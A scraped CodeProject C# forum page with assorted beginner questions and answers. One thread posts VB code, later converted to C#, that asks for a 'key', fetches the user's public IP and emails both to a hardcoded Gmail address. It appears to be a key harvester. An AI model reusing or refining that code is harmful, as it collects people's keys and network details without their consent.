|
The other thing to just check - your angle is in radians, right? Because Math.Sin is... You should never use standby on an elephant. It always crashes when you lift the ears. - Mark Wallace
|
|
|
|
|
turns out the last post was right about radians and degrees , i just converted them.
So if math.pow is so unrealiable why was it put in the maths libary? seems very short sighted considering its crucial to many calculations
|
|
|
|
|
for the height i have
h = vi pow 2 sin pow 2 angle / 2g
http://en.wikipedia.org/wiki/Trajectory#Range_and_height[^]
better laid out there
I have
maxheight = velocity * velocity * Math.Sin(angle * angle) / gravity * 2;
yet the wrong answer, i'm not great at maths but am i reading that right or somewhere making a mistake?
|
|
|
|
|
|
bump really important lol
|
|
|
|
|
sallam
man 1 soal dashtam
har ki mitone javab bede be man khabar bede
soalam dar movred visual besic hast
tank
|
|
|
|
|
|
نیتروژن مایع[^] Dalek Dave: There are many words that some find offensive, Homosexuality, Alcoholism, Religion, Visual Basic, Manchester United, Butter.
|
|
|
|
|
Hello!
Iam quite new here, and I have a problem.
Iam a begginer in C#. I want to write a console app, which can send email.
I have a VB source code, and I cant translate it to C#, so:
-Does anyone know how to translate/convert this VB source code to C#?
Thank you very much!
Imports System.Net.Mail
Module Module1
Public Region As String
Public Key As String
Sub Main()
Console.WriteLine("Hello! Ird be az országot és a kodot!")
Region = Console.ReadLine
Key = Console.ReadLine
Sendmail()
End Sub
Sub Sendmail()
Dim WC As New System.Net.WebClient
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress("ferike112@gmail.com")
MyMailMessage.To.Add("ferike112@gmail.com")
MyMailMessage.Subject = ("Region:" & Region & "Their IP is: " & System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp"))))
WC.Dispose()
MyMailMessage.Body = ("REGION: " & Region & vbCrLf & "Key: " & Key)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("ferike112@gmail.com", "********")
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessage)
Catch ex As SmtpException
'MessageBox.Show(ex.Message)
End Try
End Sub
End Module
|
|
|
|
|
Please don't repost questions.
|
|
|
|
|
<code>using System.Net.Mail;
internal static class Module1
{
public static string Region;
public static string Key;
public static void Main()
{
Console.WriteLine("Hello! Ird be az országot és a kodot!");
Region = Console.ReadLine();
Key = Console.ReadLine();
Sendmail();
}
public static void Sendmail()
{
System.Net.WebClient WC = new System.Net.WebClient();
MailMessage MyMailMessage = new MailMessage();
MyMailMessage.From = new MailAddress("ferike112@gmail.com");
MyMailMessage.To.Add("ferike112@gmail.com");
MyMailMessage.Subject = ("Region:" + Region + "Their IP is: " + System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp"))));
WC.Dispose();
MyMailMessage.Body = ("REGION: " + Region + System.Environment.NewLine + "Key: " + Key);
SmtpClient SMTPServer = new SmtpClient("smtp.gmail.com");
SMTPServer.Port = 587;
SMTPServer.Credentials = new System.Net.NetworkCredential("ferike112@gmail.com", "********");
SMTPServer.EnableSsl = true;
try
{
SMTPServer.Send(MyMailMessage);
}
catch (SmtpException ex)
{
//MessageBox.Show(ex.Message)
}
}
}</code>
David Anton
Convert between VB, C#, C++, & Java
www.tangiblesoftwaresolutions.com
|
|
|
|
|
Hi first time for me here at Code Project...
I hope I am right here, with my problem.
I want to copy all controls from the base Form to Tab if a Button is pressed.
The script works so far. Because of that I wanted to write it down in a class.
Now I have the Problem that I dont know what I should send the Function, which parameter..
Please could sbody help me I left 3 hours on this problem :P
Thanks in advance
Here is the Code :
public void Create_Tabs(Control.ControlCollection controls)
{
TabControl tabControl1 = new System.Windows.Forms.TabControl();
TabPage tabPage1 = new System.Windows.Forms.TabPage();
TabPage tabPage2 = new System.Windows.Forms.TabPage();
Control[] c = new Control[controls.Count];
controls.CopyTo(c, 0);
foreach (Control ctr in c)
{
if (ctr is MenuStrip) { }
else tabPage1.Controls.Add(ctr);
}
#region tabControl1,TabPages Definitionen
#endregion
controls.Add(tabControl1);
tabControl1.Controls.Add(tabPage1);
tabControl1.Controls.Add(tabPage2);
}
And here is the call to the function, an also the Problem :
Tab.Create_Tabs( ????? );
"Controls" does not work
Hope it is not to long...
|
|
|
|
|
Hi,
welcome to CodeProject.
Sueberl wrote: "Controls" does not work
that is not informative. If it won't compile, give us the error message; if it compiles but won't run, give us the symptoms.
What you are trying to do seems very strange to me; I've never felt the urge to copy controls from one location to another; I would rather design a UserControl and then instantiate it, which isn't exactly the same, as you are copying the controls with their entire state (such as the content of TextBoxes or ListBoxes, the checks of CheckBoxes, etc). Which I can't imagine one would want.
Anyway, Tab.Create_Tabs(Controls); looks like a correct statement to me.
Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]
I only read code that is properly formatted, adding PRE tags is the easiest way to obtain that. All Toronto weekends should be extremely wet until we get it automated in regular forums, not just QA.
|
|
|
|
|
Wow THX for the quick answer
imagine u have the Controls to do something on the base Form (without an Tab) if u press a button u have on the first Tab the Controls and for example the results of the product (what u control) on the other one. Thats my motivation.
ahm the error below: ( I translated it from german)
Error 1 For the non-static field, method, or property "Tab.Create_Tabs(System.Windows.Forms.Control.ControlCollection)" is an object reference is required
Hope this helps.
Controls in my case is where all Controls from the Form are in.
|
|
|
|
|
Making no assumptions about your variable naming,
Where is your Create_Tabs method declared?
What is Tab ?
|
|
|
|
|
Hi,
1.
when you call X.Y() either X is a class name and Y() is a static method inside X, or X is an instance of some class holding a non-static method Y().
I assume Tab is the name of the class holding the code you've shown, that makes it an invalid mix of the two valid cases I just mentioned.
2.
I would start with a form that holds a TabControl with one tab holding all Controls of interest. Then add a second tab as appropriate; nothing needs copied/moved as I understand it.
Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]
I only read code that is properly formatted, adding PRE tags is the easiest way to obtain that. All Toronto weekends should be extremely wet until we get it automated in regular forums, not just QA.
modified on Tuesday, February 16, 2010 9:25 PM
|
|
|
|
|
Thanks Luc and hammerstein for your help!
Really nice from u two
I forgot to create the new class, so i forgot the following line
Now it works fine thx.
Class_Tab Tab = new Class_Tab();
hmm i feel kind of ashamed ....
Thanks again...
|
|
|
|
|
No problem.
I see your coding style isn't quite what it should be. For instance, you should not include "class" in a class name; and conventionally local vaiables are set in lower-case; etc.
As you are new to all this, I suggest you buy and study a book; it will introduce you to a lot of information, in a structured way and intelligent order, and it will let you pick up a lot of good habits right away.
Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]
I only read code that is properly formatted, adding PRE tags is the easiest way to obtain that. All Toronto weekends should be extremely wet until we get it automated in regular forums, not just QA.
|
|
|
|
|
Hi,
I'm new to the C language, but I am taking a course in it. My class has a project that I am having some trouble with. If anyone can give me some code to reference, a source code, or just point me in the right direction, it would be greatly appreciated.
Here is the assignment:
Create a simulation of 100 squares, each 16x16 pixels wide. Each square is initially white in color. Each square should be given a random position on screen, and a random initial velocity of between 0 and 5 pixels per clock tick in both x and y axes (i.e., x and y velocity can be different from each other). Square positions are updated every clock tick.
When squares collide, they change color to red, and remain red until they finish colliding. When a square no longer is intersecting another square, it reverts back to white.
A quadtree data structure of at least depth 4 must be part of the implementation of collision detection. Square position updates must result in updates to the quadtree, rather than a complete recomputation of the quadtree. It is unacceptable to regenerate the quadtree in each clock tick.
When a square hits the edge of the window, it should "bounce", and thereby stay in the visible part of the playfield.
Use of the GOTO statement outside of case statement blocks is forbidden.
_______
I reiterate, I know very little about C, so I even need help drawing the squares. Anything you can do to help, I really appreciate it. I will (obviously) credit whomever sends me reference/source code.
Thanks in advance
-Magy
|
|
|
|
|
Hi,
welcome to CodeProject. We gladly answer specific questions, we do not do homework in general. And it pays to show you made some effort yourself.
For starters, is it C or C# you use (or even C++)? for C and C++, we have other forums.
If you don't know how to paint on a screen, you should refer to your course, or to the Microsoft documentation, or just Google. The answer depends on the language you use.
Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]
I only read code that is properly formatted, adding PRE tags is the easiest way to obtain that. All Toronto weekends should be extremely wet until we get it automated in regular forums, not just QA.
|
|
|
|
|
I am using C#. I'm not looking for someone to do the project for me. I'm new to the language, and I just need some help getting started on this project. I have used my available resources (including Google), but the tutorials I have found are extremely vague, or irrelevant to my needs - which is why I came here.
|
|
|
|
|
You mentioned a course and a class; those could be your primary sources of information.
You might learn some relevant stuff by reading some articles. In the list of my articles, you might look into the ones on GraphicsPath, Animation, Sokoban.
Within the realm of MSDN you should read about the Graphics class, e.g. DrawRectangle and/or FillRectangle.
Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]
I only read code that is properly formatted, adding PRE tags is the easiest way to obtain that. All Toronto weekends should be extremely wet until we get it automated in regular forums, not just QA.
|
|
|
|
|
You can draw "raw graphics" (coloured squares, lines, etc) in the paint event of a form/control (e.Graphics.whatever )
Your question is awfully vague though..
|
|
|
|
|
what I'm going for here is something like this. i have a program i created I'm going to copy the .EXE
and a file to a CD, I'm going to give this CD to a user i want the program to auto run, meaning when the
user inserts the CD the program is just going to auto launch. Now i know how to auto launch the .EXE
with a .INF file but the problem i am having is this. In order for the program to run correctly it needs
to grab the file path that's on the CD with the program. My question is how can i associate the file with
the .EXE? I just need the path to the file for my program to run correctly. Before i was using a open
file dialog to allow the user to grab the path for me but now like i said i want it to auto run. I could
hard code the path to the file but there no guarantee that the end user CD drive will be the same as what
i code. Maybe using a XML file? or doing something with Environment class?? hopefully i explained well
enough if not please fill free to ask and i will try to explain better. thank you
|
|
|
|
|
have a look at Application.ExecutablePath
Luc Pattyn [Forum Guidelines] [Why QA sucks] [My Articles]
I only read code that is properly formatted, adding PRE tags is the easiest way to obtain that. All Toronto weekends should be extremely wet until we get it automated in regular forums, not just QA.
|
|
|
|
|